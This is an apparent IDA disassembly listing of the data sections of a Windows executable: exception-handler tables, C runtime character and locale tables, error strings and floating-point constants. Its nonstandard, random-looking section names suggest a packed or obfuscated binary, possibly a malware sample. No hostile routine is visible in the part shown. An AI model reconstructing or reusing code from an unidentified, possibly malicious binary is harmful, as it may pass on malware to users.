		dd 0FFFFFFFEh, 0
		dd offset sub_412324, 0
dword_421C10	dd 0FFFFFFFEh, 0	; DATA XREF: sub_412776+2o
		dd 0FFFFFFD0h, 0
		dd 0FFFFFFFEh, 0
		db 90h
		db 28h,	41h, 0
		align 10h
dword_421C30	dd 0FFFFFFFEh, 0	; DATA XREF: sub_412AB4+2o
		dd 0FFFFFF8Ch, 0
		dd 0FFFFFFFEh, 412CDDh,	412CE1h, 0
dword_421C50	dd 0FFFFFFFEh, 0	; DATA XREF: sub_412DB5+2o
		dd 0FFFFFFD0h, 0
		dd 0FFFFFFFEh, 0
		dd offset sub_412E78, 0
dword_421C70	dd 0FFFFFFFEh, 0	; DATA XREF: sub_412F52+2o
		db 0CCh
		db 3 dup(0FFh)
		align 10h
		dd 0FFFFFFFEh, 0
		dd offset sub_413023, 2	dup(0)
		dd offset sub_412FEF
dword_421C98	dd 0FFFFFFFEh, 0	; DATA XREF: sub_41461F+2o
		dd 0FFFFFFD0h, 0
		dd 0FFFFFFFEh, 0
		dd offset sub_4146F1, 0
dword_421CB8	dd 0FFFFFFFEh, 0	; DATA XREF: sub_415557+2o
		dd 0FFFFFFD0h, 0
		dd 0FFFFFFFEh, 0
		dd offset sub_415617, 0
		dd offset loc_4155D9, offset loc_4155E3
dword_421CE0	dd 0FFFFFFFEh, 0	; DATA XREF: sub_41567D+2o
		dd 0FFFFFFD8h, 0
		dd 0FFFFFFFEh, 4156C0h,	4156C9h, 40h, 2	dup(0)
		dd 4157A0h, 0FFFFFFFFh,	0
		dd 0FFFFFFFFh, 3 dup(0)
		dd 2 dup(1), 421CFCh
dword_421D30	dd 19930522h, 2, 421D0Ch, 1, 421D1Ch, 3	dup(0) ; DATA XREF: sub_41DB6E+11o
		dd 1, 0
dword_421D58	dd 0FFFFFFFEh, 0	; DATA XREF: sub_4157B8+2o
		dd 0FFFFFFB4h, 0
		dd 0FFFFFFFEh, 0
		dd offset sub_4158D8, 0
		dd offset loc_415848, offset loc_415851
dword_421D80	dd 0FFFFFFFEh, 0	; DATA XREF: sub_415954+2o
		dd 0FFFFFFD4h, 0
		dd 0FFFFFFFEh, 415ABFh,	415AC3h, 0
dword_421DA0	dd 0FFFFFFFEh, 0	; DATA XREF: sub_415AD3+2o
		dd 0FFFFFFD8h, 0
		dd 0FFFFFFFEh, 415B58h,	415B5Ch
dword_421DBC	dd 0			; DATA XREF: sub_415CC2+162o
		dd offset sub_41548A, 0
		dd offset dword_421DCC
dword_421DCC	dd 2, 421DD8h, 422034h,	0 ; DATA XREF: ev73vtp2:00421DC8o
		dd offset off_423E30, 0
		dd 0FFFFFFFFh, 0
		dd 0Ch,	416018h, 0
dword_421DF8	dd 0FFFFFFFEh, 0	; DATA XREF: sub_416114+2o
		dd 0FFFFFFD8h, 0
		dd 0FFFFFFFEh, 416134h,	416138h, 0
dword_421E18	dd 0FFFFFFFEh, 0	; DATA XREF: sub_416160+2o
		dd 0FFFFFFD8h, 0
		dd 0FFFFFFFEh, 416184h,	416188h, 0
dword_421E38	dd 0FFFFFFFEh, 0	; DATA XREF: sub_416DD4+2o
		db 0CCh
		db 3 dup(0FFh)
		align 8
		dd 0FFFFFFFEh, 416E5Ah,	416E71h, 0
dword_421E58	dd 0FFFFFFFEh, 0	; DATA XREF: sub_416F12+2o
		dd 0FFFFFFD8h, 0
		dd 0FFFFFFFEh, 416F58h,	416F6Ch, 0
dword_421E78	dd 0FFFFFFFEh, 0	; DATA XREF: sub_417001+2o
		db 0CCh
		db 3 dup(0FFh)
		align 8
		dd 0FFFFFFFEh, 0
		dd offset sub_417110, 0
dword_421E98	dd 0FFFFFFFEh, 0	; DATA XREF: sub_4176E0+2o
		dd 0FFFFFFD0h, 0
		dd 0FFFFFFFEh, 0
		dd offset sub_4177B2, 0
dword_421EB8	dd 0FFFFFFFEh, 0	; DATA XREF: sub_417AA5+2o
		dd 0FFFFFFD4h, 0
		dd 0FFFFFFFEh, 417AC2h,	417ADEh, 0
dword_421ED8	dd 0FFFFFFFEh, 0	; DATA XREF: sub_417B62+2o
		dd 0FFFFFFD4h, 0
		dd 0FFFFFFFEh, 0
		dd offset sub_417C59, 0
dword_421EF8	dd 0FFFFFFFEh, 0	; DATA XREF: sub_417C80+2o
		dd 0FFFFFFD0h, 0
		dd 0FFFFFFFEh, 0
		dd offset sub_417DBE, 0
dword_421F18	dd 0FFFFFFFEh, 0	; DATA XREF: sub_417F3C+2o
		dd 0FFFFFFC0h, 0
		dd 0FFFFFFFEh, 0
		dd offset sub_4180AA, 0
dword_421F38	dd 0FFFFFFFEh, 0	; DATA XREF: sub_418100+2o
		dd 0FFFFFFD0h, 0
		dd 0FFFFFFFEh, 0
		dd offset sub_418196, 0
dword_421F58	dd 0FFFFFFFEh, 0	; DATA XREF: sub_4187DD+2o
		db 0CCh
		db 3 dup(0FFh)
		align 8
		dd 0FFFFFFFEh, 0
		dd offset sub_418876, 0
dword_421F78	dd 0FFFFFFFEh, 0	; DATA XREF: sub_418F1A+2o
		dd 0FFFFFFD4h, 0
		dd 0FFFFFFFEh, 0
		dd offset sub_418FAC, 0
dword_421F98	dd 0FFFFFFFEh, 0	; DATA XREF: sub_418FDC+2o
		dd 0FFFFFFC8h, 0
		dd 0FFFFFFFEh, 0
		dd offset sub_419172, 2	dup(0)
		dd offset sub_4190A9
dword_421FC0	dd 0FFFFFFFEh, 0	; DATA XREF: sub_41917B+2o
		dd 0FFFFFFD0h, 0
		dd 0FFFFFFFEh, 0
		dd offset sub_419252, 0
dword_421FE0	dd 0FFFFFFFEh, 0	; DATA XREF: sub_41A14E+2o
		dd 0FFFFFFD8h, 0
		dd 0FFFFFFFEh, 41A17Bh,	41A197h, 0
		dd offset off_425A54, 0
		dd 0FFFFFFFFh, 0
		dd 28h,	40202Bh, 0
		dd offset aUa, 0	; "|ãA"
		dd 0FFFFFFFFh, 0
		dd 28h,	402043h, 0
		dd offset aUa_0, 0	; "|ãA"
		dd 0FFFFFFFFh, 0
dword_422048	dd 0Ch,	40D057h, 3, 421FFCh, 422018h, 422034h
					; DATA XREF: ev73vtp2:0042206Co
dword_422060	dd 0			; DATA XREF: sub_401E7B+48o
					; sub_4084E5+48o ...
		dd offset loc_401CB7, 0
		dd offset dword_422048+8
		dd 0
		dd offset aUa_1, 0	; "|ãA"
		dd 0FFFFFFFFh, 0
dword_422084	dd 0Ch,	40228Eh, 2, 422070h, 422034h ; DATA XREF: ev73vtp2:004220A4o
dword_422098	dd 0			; DATA XREF: sub_402244+34o
					; .text:0040D484o
		dd offset sub_401C0E, 0
		dd offset dword_422084+8
dword_4220A8	dd 0FFFFFFFEh, 0	; DATA XREF: sub_4019FC+2o
		dd 0FFFFFFB4h, 0
		dd 0FFFFFFFEh, 5 dup(0)
		dd 0FFFFFFFFh, 0
		dd 0FFFFFFFFh, 0
		dd 1, 0
		dd 1, 0
		dd 40h,	2 dup(0)
		dd 40216Ch, 40h, 2 dup(0)
		dd 4020FAh, 2 dup(2), 3, 1, 4220F0h, 2 dup(0)
		dd 3, 1, 422100h
dword_422138	dd 19930522h, 4, 4220D0h, 2, 422110h, 3	dup(0) ; DATA XREF: .text:0041DB9Ao
		dd 1, 0FFFFFFFFh, 41DBA4h
dword_422164	dd 19930522h, 1, 42215Ch, 5 dup(0) ; DATA XREF:	.text:0041DBBDo
		dd 1, 0FFFFFFFFh, 41DBC7h
dword_422190	dd 19930522h, 1, 422188h, 5 dup(0) ; DATA XREF:	.text:0041DBE0o
		dd 1, 0FFFFFFFFh, 41DBEAh
dword_4221BC	dd 19930522h, 1, 4221B4h, 5 dup(0) ; DATA XREF:	.text:0041DC05o
		dd 1, 0FFFFFFFFh, 41DC0Fh
dword_4221E8	dd 19930522h, 1, 4221E0h, 5 dup(0) ; DATA XREF:	.text:0041DC34o
		dd 1, 0FFFFFFFFh, 41DC3Eh
dword_422214	dd 19930522h, 1, 42220Ch, 5 dup(0) ; DATA XREF:	.text:0041DC69o
		dd 1, 0FFFFFFFFh, 41DC73h
dword_422240	dd 19930522h, 1, 422238h, 5 dup(0) ; DATA XREF:	.text:0041DC9Eo
		dd 1, 367h dup(0)
ev73vtp2	ends

; Section 3. (virtual address 00023000)
; Virtual size			: 00012000 (  73728.)
; Section size in file		: 00012000 (  73728.)
; Offset to raw	data for section: 00023000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
_data		segment	para public 'DATA' use32
		assume cs:_data
		;org 423000h
off_423000	dd 2 dup(offset	aBadAllocation)	; DATA XREF: y3hmw1t3:00460B28o
					; "bad allocation"
off_423008	dd offset off_41E37C, 0	; DATA XREF: ev73vtp2:004219C8o
a_?avout_of_ran	db '.?AVout_of_range@std@@',0
		align 10h
		dd 2 dup(offset	aBadAllocation)	; "bad allocation"
off_423038	dd offset off_41E37C, 0	; DATA XREF: ev73vtp2:004218BCo
a_?avtype_info@	db '.?AVtype_info@@',0
off_423050	dd offset aBadAllocation, 3 dup(0) ; DATA XREF:	sub_40D417+3o
					; "bad allocation"
dword_423060	dd 2			; DATA XREF: sub_413D84+42r
					; sub_413F24+19r ...
		dd offset sub_4153D9
dword_423068	dd 1D767DA8h		; DATA XREF: sub_401000+Cr
					; sub_40140A+Er ...
dword_42306C	dd 0E2898257h		; DATA XREF: sub_40EB6F+AEr
					; sub_415345+29w ...
dword_423070	dd 0FFFFFFFFh, 16h dup(0) ; DATA XREF: sub_40ECA2+29o
					; sub_40EE81+63o ...
		dd 10100000h, 6	dup(10101010h),	0
		dd 20200000h, 6	dup(20202020h),	31h dup(0)
		dd 62610000h, 66656463h, 6A696867h, 6E6D6C6Bh, 7271706Fh
		dd 76757473h, 7A797877h, 0
		db    0
		align 2
aAbcdefghijklmn	db 'ABCDEFGHIJKLMNOPQRSTUVWXYZ',0
		align 4
		dd 21h dup(0)
byte_423290	db 0			; DATA XREF: sub_40F14A+102w
		align 4
		dd 0Fh dup(0)
		dd 10100000h, 6	dup(10101010h),	0
		dd 20200000h, 6	dup(20202020h),	2 dup(0)
		dd 20h,	10000000h, 10001000h, 2	dup(0)
		dd 20000000h, 20002000h, 10h, 0
		dd 20000000h, 2	dup(0)
		dd 200000h, 20000000h, 0
		dd 10101000h, 5	dup(10101010h),	10101000h, 10101010h, 6	dup(20202020h)
		dd 20202000h, 20202020h, 20h, 0
byte_423398	db 0			; DATA XREF: sub_40F14A+11Ew
		align 4
		dd 0Fh dup(0)
		dd 63626100h, 67666564h, 6B6A6968h, 6F6E6D6Ch, 73727170h
		dd 77767574h, 7A7978h, 0
		dd 43424100h, 47464544h, 4B4A4948h, 4F4E4D4Ch, 53525150h
		dd 57565554h, 5A5958h, 0
		dd 83000000h, 0
		dd 9A0000h, 9E009Ch, 2 dup(0)
		dd 8A0000h, 0FF8E008Ch,	2 dup(0)
		dd 0AA0000h, 2 dup(0)
		dd 0B500h, 0BA0000h, 0
		dd 0E3E2E1E0h, 0E7E6E5E4h, 0EBEAE9E8h, 0EFEEEDECh, 0F3F2F1F0h
		dd 0F6F5F4h, 0FBFAF9F8h, 0DFFEFDFCh, 0C3C2C1C0h, 0C7C6C5C4h
		dd 0CBCAC9C8h, 0CFCECDCCh, 0D3D2D1D0h, 0D6D5D4h, 0DBDAD9D8h
		dd 9FDEDDDCh
dword_423498	dd 902980h		; DATA XREF: sub_40AFFD+41r
					; sub_40EE81+4Cr ...
byte_42349C	db 1			; DATA XREF: sub_40EF9F+E3r
		db 2, 4, 8
dword_4234A0	dd 3A4h			; DATA XREF: sub_40EF9F:loc_40EFDBr
dword_4234A4	dd 82798260h		; DATA XREF: sub_40EF9F+12Br
		dd 21h,	0
dword_4234B0	dd 0DFA6h		; DATA XREF: sub_40EF9F+C6r
		align 8
		dd 0A5A1h, 0
		dd 0FCE09F81h, 0
		dd 0FC807E40h, 0
		dd 3A8h, 0A3DAA3C1h, 20h, 5 dup(0)
		dd 0FE81h, 0
		dd 0FE40h, 0
		dd 3B5h, 0A3DAA3C1h, 20h, 5 dup(0)
		dd 0FE81h, 0
		dd 0FE41h, 0
		dd 3B6h, 0A2E4A2CFh, 0A2E5001Ah, 5BA2E8h, 4 dup(0)
		dd 0FE81h, 0
		dd 0FEA17E40h, 0
		dd 551h, 0DA5EDA51h, 0DA5F0020h, 32DA6Ah, 4 dup(0)
		dd 0DED8D381h, 0F9E0h, 0FE817E31h, 0
		dd 41EF34h
dword_423594	dd 0FFFFFFFEh		; DATA XREF: sub_40AFFD+2Cr
					; sub_40AFFD+4Cr ...
dword_423598	dd 43h,	0		; DATA XREF: sub_40F302:loc_40F3FFo
					; sub_40F442:loc_40F48Do ...
dword_4235A0	dd 2, 15h dup(0)	; DATA XREF: sub_40F554+28o
					; sub_40F896+DAo ...
		dd offset dword_423598
		dd 3 dup(0)
		dd offset dword_423598
		dd 3 dup(0)
		dd offset dword_423598
		dd 3 dup(0)
		dd offset dword_423598
		dd 3 dup(0)
		dd offset dword_423598
		dd 3 dup(0)
		dd 2 dup(1), 3 dup(0)
		dd offset off_423F18
		dd 2 dup(0)
off_423668	dd offset asc_41ED30	; DATA XREF: sub_4192AB+Dr
					; sub_419328+Dr ...
					; "	    (((((		   H"
		dd 41F1B8h, 41F338h, 423E58h
off_423678	dd offset dword_4235A0	; DATA XREF: sub_40AFFD+24r
					; sub_40F592+4Er ...
		dd 1
off_423680	dd offset dword_4235A0	; DATA XREF: sub_414926+17o
		dd offset dword_423070
dword_423688	dd 0Ah			; DATA XREF: sub_40F608+13r
					; sub_40F674+13r ...
dword_42368C	dd 9			; DATA XREF: sub_40F608+1r
					; sub_40F608+1Er ...
dword_423690	dd 1			; DATA XREF: sub_40FC79:loc_40FC7Fr
dword_423694	dd 16h			; DATA XREF: sub_40FC79:loc_40FC9Ar
		dd 2 dup(2), 3,	2, 4, 18h, 5, 0Dh, 6, 9, 7, 0Ch, 8, 0Ch
		dd 9, 0Ch, 0Ah,	7, 0Bh,	8, 0Ch,	16h, 0Dh, 16h, 0Fh, 2
		dd 10h,	0Dh, 11h, 2 dup(12h), 2, 21h, 0Dh, 35h,	2, 41h
		dd 0Dh,	43h, 2,	50h, 11h, 52h, 0Dh, 53h, 0Dh, 57h, 16h
		dd 59h,	0Bh, 6Ch, 0Dh, 6Dh, 20h, 70h, 1Ch, 72h,	9, 6, 16h
		dd 80h,	0Ah, 81h, 0Ah, 82h, 9, 83h, 16h, 84h, 0Dh, 91h
		dd 29h,	9Eh, 0Dh, 0A1h,	2, 0A4h, 0Bh, 0A7h, 0Dh, 0B7h
		dd 11h,	0CEh, 2, 0D7h, 0Bh, 718h, 0Ch
dword_4237F8	dd 0Ch			; DATA XREF: sub_40FCB4+9o
dword_4237FC	dd 8			; DATA XREF: sub_40FCC7+9o
off_423800	dd offset dword_425E78	; DATA XREF: sub_40FD61:loc_40FD9Ew
					; sub_40FDAA+8o ...
dword_423804	dd 1			; DATA XREF: sub_40FD61:loc_40FD6Ar
		dd offset dword_425E90
		dd 1, 2	dup(0)
		dd offset dword_425EA8
		dd 1, 425EC0h, 1, 2 dup(0)
		dd offset dword_425ED8
		dd 1, 425EF0h, 1, 425F08h, 1, 2	dup(0)
		dd offset dword_425F20
		dd 1, 9043D8h, 0
		dd offset dword_425F38
		dd 1, 425F50h, 1, 425F68h, 1, 2	dup(0)
		dd offset dword_425F80
		dd 1, 425F98h, 1, 425FB0h, 1, 9043B8h, 21h dup(0)
dword_423920	dd 10h			; DATA XREF: sub_40FDAA+2Ao
					; sub_40FDAA+4Ao
off_423924	dd offset aNull_0	; DATA XREF: sub_410EB7:loc_4113A5r
					; sub_410EB7+7E7r
					; "(null)"
off_423928	dd offset aNull		; DATA XREF: sub_410EB7+433r
					; "(null)"
		align 10h
off_423930	dd offset sub_41223A	; DATA XREF: sub_411FAD+Er
					; sub_412269+45w
		dd offset aBadAllocation ; "bad	allocation"
off_423938	dd offset dword_433E00	; DATA XREF: sub_412359o
					; sub_41235F+52o ...
		dd 0
		dd offset dword_433E00
		dd 101h
dword_423948	dd 0FFFFFFFEh, 0	; DATA XREF: sub_41235F+74o
		dd 1000h, 4 dup(0)
		dd 2, 0FFFFFFFEh, 6 dup(0)
		dd 2, 0FFFFFFFEh, 7 dup(0)
dword_4239A8	dd 3, 0			; DATA XREF: sub_41235F+A4o
		dd 1000h, 79h dup(0)
dword_423B98	dd 8 dup(0)		; DATA XREF: sub_412430+Do
					; sub_412482+Do
dword_423BB8	dd 0FFFFFFFFh, 0A80h, 8	dup(0) ; DATA XREF: sub_40D7AA:loc_40D846o
					; sub_40D7AA:loc_40D88Bo ...
dword_423BE0	dd 2			; DATA XREF: sub_413D84:loc_413D90r
off_423BE4	dd offset aR6002FloatingP ; DATA XREF: sub_413D84:loc_413EB4r
					; "R6002\r\n- floating point not loaded\r\n"
		dd 8, 41EA84h, 9, 41EA58h, 0Ah,	41E9C0h, 10h, 41E994h
		dd 11h,	41E964h, 12h, 41E940h, 13h, 41E914h, 18h, 41E8DCh
		dd 19h,	41E8B4h, 1Ah, 41E87Ch, 1Bh, 41E844h, 1Ch, 41E81Ch
		dd 1Eh,	41E7FCh, 1Fh, 41E798h, 20h, 41E760h, 21h, 41E668h
		dd 22h,	41E5C8h, 78h, 41E5B4h, 79h, 41E5A4h, 7Ah, 41E594h
		dd 0FCh, 4203D4h, 0FFh,	41E584h
byte_423C98	db 0			; DATA XREF: sub_41407D:loc_4143DEr
					; sub_41407D+36Fr
		align 4
		dd 2Fh dup(0)
		dd 8 dup(1010101h), 4 dup(2020202h), 2 dup(3030303h), 2	dup(0)
dword_423D98	dd 1B3Fh		; DATA XREF: sub_414BFF+Dr
		align 10h
dword_423DA0	dd 0C0000005h, 0Bh, 0	; DATA XREF: sub_40F747+1Do
					; sub_40F896+6Eo
		dd 0C000001Dh, 4, 0
		dd 0C0000096h, 4, 0
		dd 0C000008Dh, 8, 0
		dd 0C000008Eh, 8, 0
		dd 0C000008Fh, 8, 0
		dd 0C0000090h, 8, 0
		dd 0C0000091h, 8, 0
		dd 0C0000092h, 8, 0
		dd 0C0000093h, 8, 0
dword_423E18	dd 3			; DATA XREF: sub_414CD0+A1r
					; sub_414CD0+C0r ...
dword_423E1C	dd 7			; DATA XREF: sub_414CD0+A7r
					; sub_414CD0+C6r ...
		dd 78h
dword_423E24	dd 0Ah			; DATA XREF: sub_414CD0+22r
					; sub_417EFB+4r
		dd offset aBadAllocation, offset sub_4153D9 ; "bad allocation"
off_423E30	dd offset off_41E37C, 0	; DATA XREF: sub_415CC2+128o
					; ev73vtp2:00421DDCo
a_?avbad_except	db '.?AVbad_exception@std@@',0
a0aa		db '0íA',0
a2qa		db '2ïA',0
dword_423E58	dd 41F560h, 41F55Ch, 41F558h, 41F554h, 41F550h,	41F54Ch
					; DATA XREF: sub_40F302+D9o
		dd 41F548h, 41F540h, 41F538h, 41F530h, 41F524h,	41F518h
		dd 41F510h, 41F504h, 41F500h, 41F4FCh, 41F4F8h,	41F4F4h
		dd 41F4F0h, 41F4ECh, 41F4E8h, 41F4E4h, 41F4E0h,	41F4DCh
		dd 41F4D8h, 41F4D4h, 41F4CCh, 41F4C0h, 41F4B8h,	41F4B0h
		dd 41F4F0h, 41F4A8h, 41F4A0h, 41F498h, 41F48Ch,	41F484h
		dd 41F478h, 41F46Ch, 41F468h, 41F464h, 41F458h,	41F444h
		dd 41F438h, 409h, 2 dup(1), 423E58h
dword_423F14	dd 2Eh			; DATA XREF: .data:off_423F18o
off_423F18	dd offset dword_423F14	; DATA XREF: sub_40F302+14o
					; sub_416984+Br ...
off_423F1C	dd offset dword_426478	; DATA XREF: sub_416984+1Dr
off_423F20	dd offset dword_426478	; DATA XREF: sub_416984+2Fr
off_423F24	dd offset dword_426478	; DATA XREF: sub_4169C4+Cr
off_423F28	dd offset dword_426478	; DATA XREF: sub_4169C4+1Er
off_423F2C	dd offset dword_426478	; DATA XREF: sub_4169C4+30r
off_423F30	dd offset dword_426478	; DATA XREF: sub_4169C4+42r
off_423F34	dd offset dword_426478	; DATA XREF: sub_4169C4+54r
off_423F38	dd offset dword_426478	; DATA XREF: sub_4169C4+66r
off_423F3C	dd offset dword_426478	; DATA XREF: sub_4169C4+78r
		dd 2 dup(7F7F7F7Fh), 423F18h, 1, 2Eh, 1, 2 dup(0)
off_423F60	dd offset sub_41B3BA	; DATA XREF: sub_41785E:loc_417862r
					; sub_41983C+5w
off_423F64	dd offset sub_41AAB6	; DATA XREF: sub_41983C+Aw
off_423F68	dd offset sub_41AA74	; DATA XREF: sub_41983C+14w
off_423F6C	dd offset sub_41AAA8	; DATA XREF: sub_41983C+1Ew
off_423F70	dd offset word_41AA1E	; DATA XREF: sub_41983C+28w
off_423F74	dd offset sub_41B3BA	; DATA XREF: sub_41983C+32w
off_423F78	dd offset sub_41B334	; DATA XREF: sub_410EB7+61Ar
					; sub_41983C+37w
off_423F7C	dd offset sub_41AA34	; DATA XREF: sub_413137+5F1r
					; sub_41983C+41w
off_423F80	dd offset sub_41A99E	; DATA XREF: sub_410EB7+65Fr
					; sub_41983C+4Bw
off_423F84	dd offset sub_41A92D	; DATA XREF: sub_410EB7+640r
					; sub_41983C+55w
		align 10h
dword_423F90	dd 19930520h, 3	dup(0)	; DATA XREF: sub_418D80+2o
					; sub_418D89+2o
dword_423FA0	dd 2694h		; DATA XREF: sub_419E68+3r
					; sub_419EBB+5Dr
		dd 9875h, 9873h, 0
dword_423FB0	dd 14h			; DATA XREF: sub_419DCA:loc_419DD2r
off_423FB4	dd offset aExp		; DATA XREF: sub_419DCA:loc_419E42r
					; "exp"
		dd 1Dh,	41EC08h, 1Ah, 41EBF8h, 1Bh, 41EBFCh, 1Fh, 41FDDCh
		dd 13h,	41FDD4h, 21h, 41FDCCh, 0Eh, 41EBF0h, 0Dh, 41EBE8h
		dd 0Fh,	41EBCCh, 10h, 41FDC4h, 5, 41FDBCh, 1Eh,	41EBB0h
		dd 12h,	41EBACh, 20h, 41EBA8h, 0Ch, 41EBC4h, 0Bh, 41EBBCh
		dd 15h,	41FDB4h, 1Ch, 41EBB4h, 19h, 41FDACh, 11h, 41FDA4h
		dd 18h,	41FD9Ch, 16h, 41FD94h, 17h, 41FD8Ch, 22h, 41FD88h
		dd 23h,	41FD84h, 24h, 41FD80h, 25h, 41FD78h, 26h, 41FD6Ch
dbl_424098	dq 1.797693134862316e308 ; DATA	XREF: sub_419B94:loc_419C64r
					; sub_419B94:loc_419C6Cr
		dd 0
		dd 0FFF80000h
dbl_4240A8	dq 1.797693134862316e308 ; DATA	XREF: sub_419B94+89r
					; sub_419B94+A4r ...
		dd 0
		dd 100000h, 0
		dd 80000000h
tbyte_4240C0	dt 2.3562723457267347066e313 ; DATA XREF: sub_41A0F8+Br
					; sub_41A0F8+1Er
		align 4
tbyte_4240CC	dt 1.9149954921904370718e-1233 ; DATA XREF: sub_41A0F8+30r
		align 4
dword_4240D8	dd 1			; DATA XREF: sub_41A14E+1Cr
					; sub_41A14E+4Cw
byte_4240DC	db 3			; DATA XREF: sub_41A231+1Br
					; sub_41A231:loc_41A26Fr
		align 10h
		dd 7080h, 1, 0FFFFF1F0h, 0
dword_4240F0	dd 545350h, 0Fh	dup(0)	; DATA XREF: .data:00424170o
dword_424130	dd 544450h, 0Fh	dup(0)	; DATA XREF: .data:00424174o
		dd offset dword_4240F0
		dd offset dword_424130
		dd 0FFFFFFFFh, 2 dup(0)
		dd 0FFFFFFFFh, 2 dup(0)
		dd 0FFFFFFFFh, 1Eh, 3Bh, 5Ah, 78h, 97h,	0B5h, 0D4h, 0F3h
		dd 111h, 130h, 14Eh, 16Dh, 0FFFFFFFFh, 1Eh, 3Ah, 59h, 77h
		dd 96h,	0B4h, 0D3h, 0F2h, 110h,	12Fh, 14Dh, 16Ch
dword_4241F8	dd 2			; DATA XREF: sub_41A54C+13r
					; sub_41A54C+4Fr ...
		align 10h
dword_424200	dd 0FFFFFFFEh		; DATA XREF: sub_41B4BA:loc_41B4D3r
dword_424204	dd 0FFFFFFFEh		; DATA XREF: sub_41A54C+1Br
					; sub_41A54C:loc_41A575r ...
		align 10h
dword_424210	dd 400h			; DATA XREF: sub_41B9D9:loc_41BD7Dr
					; sub_41B9D9+44Dr
dword_424214	dd 0FFFFFC01h		; DATA XREF: sub_41B9D9:loc_41BB48r
dword_424218	dd 35h			; DATA XREF: sub_41B9D9+78r
					; sub_41B9D9+176r ...
dword_42421C	dd 0Bh			; DATA XREF: sub_41B9D9:loc_41BCE4r
					; sub_41B9D9+3AAr ...
dword_424220	dd 40h			; DATA XREF: sub_41B9D9+519r
dword_424224	dd 3FFh			; DATA XREF: sub_41B9D9+452r
					; sub_41B9D9:loc_41BE3Cr
dword_424228	dd 80h			; DATA XREF: sub_41BF1B:loc_41C2BFr
					; sub_41BF1B+44Dr
dword_42422C	dd 0FFFFFF81h		; DATA XREF: sub_41BF1B:loc_41C08Ar
dword_424230	dd 18h			; DATA XREF: sub_41BF1B+78r
					; sub_41BF1B+176r ...
dword_424234	dd 8			; DATA XREF: sub_41BF1B:loc_41C226r
					; sub_41BF1B+3AAr ...
dword_424238	dd 20h			; DATA XREF: sub_41BF1B+519r
dword_42423C	dd 7Fh			; DATA XREF: sub_41BF1B+452r
					; sub_41BF1B:loc_41C37Er
dword_424240	dd 2 dup(0)		; DATA XREF: sub_41C45D+363o
					; sub_41CB21+18Eo
		dd 4002A000h, 2	dup(0)
		dd 4005C800h, 2	dup(0)
		dd 4008FA00h, 2	dup(0)
		dd 400C9C40h, 2	dup(0)
		dd 400FC350h, 2	dup(0)
		dd 4012F424h, 0
		dd 80000000h, 40169896h, 0
		dd 20000000h, 4019BEBCh, 0
		dd 0C9BF0400h, 40348E1Bh, 0A1000000h, 1BCECCEDh, 404ED3C2h
		dd 0B59EF020h, 0ADA82B70h, 40699DC5h, 25FD5DD0h, 4F8E1AE5h
		dd 4083EB19h, 95D79671h, 8D050E43h, 409EAF29h, 44A0BFF9h
		dd 8F1281EDh, 40B98281h, 0A6D53CBFh, 1F49FFCFh,	40D3C278h
		dd 8CE0C66Fh, 47C980E9h, 41A893BAh, 556B85BCh, 0F78D3927h
		dd 427CE070h, 0DE8EDDBCh, 0EBFB9DF9h, 4351AA7Eh, 0E376E6A1h
		dd 2F29F2CCh, 44268184h, 0AA171028h, 0E310AEF8h, 44FAC4C5h
		dd 0F3D4A7EBh, 4AE1EBF7h, 45CF957Ah, 91C7CC65h,	0A0AEA60Eh
		dd 46A3E319h, 0C17650Dh, 75868175h, 4D48C976h, 0A7E44258h
		dd 353B3993h, 53EDB2B8h, 5DE5A74Dh, 3B5DC53Dh, 5A929E8Bh
		dd 0F0A65DFFh, 54C020A1h, 61378CA5h, 5A8BFDD1h,	5D25D88Bh
		dd 67DBF989h, 0F3F895AAh, 0C8A2BF27h, 6E80DD5Dh, 979BC94Ch
		dd 52028A20h, 7525C460h, 0
dword_4243A0	dd 0CCCDCCCDh, 0CCCCCCCCh, 3FFBCCCCh, 0D70A3D71h, 0A3D70A3h
					; DATA XREF: sub_41C45D+37Ao
					; sub_41CB21+1B3o
		dd 3FF8A3D7h, 0DF3B645Ah, 6E978D4Fh, 3FF58312h,	652CD3C3h
		dd 1758E219h, 3FF1D1B7h, 84230FD0h, 0AC471B47h,	3FEEA7C5h
		dd 69B6A640h, 0BD05AF6Ch, 3FEB8637h, 42BC3D33h,	94D5E57Ah
		dd 3FE7D6BFh, 0CEFDFDC2h, 77118461h, 3FE4ABCCh,	0E15B4C2Fh
		dd 94BEC44Dh, 3FC9E695h, 3B53C492h, 14CD4475h, 3FAF9ABEh
		dd 94BA67DEh, 1EAD4539h, 3F94CFB1h, 0E2C62324h,	313BBABCh
		dd 3F7A8B61h, 0C1595561h, 7C53B17Eh, 3F5FBB12h,	8D2FEED7h
		dd 8592BE06h, 3F44FB15h, 0E9A53F24h, 0EA27A539h, 3F2AA87Fh
		dd 0E4A1AC7Dh, 467C64BCh, 3E55DDD0h, 0CC067B63h, 83775423h
		dd 3D8191FFh, 193AFA91h, 4325637Ah, 3CACC031h, 38D18921h
		dd 0B8974782h, 3BD7FD00h, 85888DCh, 0E3E8B11Bh,	3B03A686h
		dd 424584C6h, 7599B607h, 3A2EDB37h, 0D21C7133h,	0EE32DB23h
		dd 395A9049h, 0C0BE87A6h, 82A5DA57h, 32B5A2A6h,	11B268E2h
		dd 449F52A7h, 2C10B759h, 2DE44925h, 534F3436h, 256BCEAEh
		dd 0A404598Fh, 7DC2DEC0h, 1EC6E8FBh, 5A88E79Eh,	0BF3C9157h
		dd 18228350h, 62654B4Eh, 0AF8F83FDh, 117D9406h,	9FDE2DE4h
		dd 4C8D2CEh, 0AD8A6DDh,	0
		dd 2 dup(offset	aBadAllocation)	; "bad allocation"
dword_424508	dd 4E44h		; DATA XREF: .text:0040A30Co
					; .text:0040A32Br ...
		dd 7 dup(0)
dword_424528	dd 87h			; DATA XREF: .text:0040A629r
					; sub_40A812+79r ...
dword_42452C	dd 0			; DATA XREF: sub_40936F+3ABr
					; .text:00409EAFr ...
off_424530	dd offset sub_40936F	; DATA XREF: sub_40A9C4+227r
					; sub_40A9C4+330r ...
		dd 4Eh,	7 dup(0)
		dd 8Bh,	0
		dd 409746h, 53h, 7 dup(0)
		dd 0B97h, 0
		dd offset sub_40A186, 0Bh dup(0)
		dd offset aBadAllocation ; "bad	allocation"
dword_4245BC	dd 200F1001h, 0Ah, 1001802h, 0 ; DATA XREF: sub_409EBD+1A8o
		dd 14002400h, 0D9D2C9B7h, 34EF333Eh, 431F25h, 2F5C0202h
		dd 0
dword_4245E4	dd 6EB4141h, 501E100Dh,	6D6Dh, 41FE98h ; DATA XREF: sub_409EBD+264o
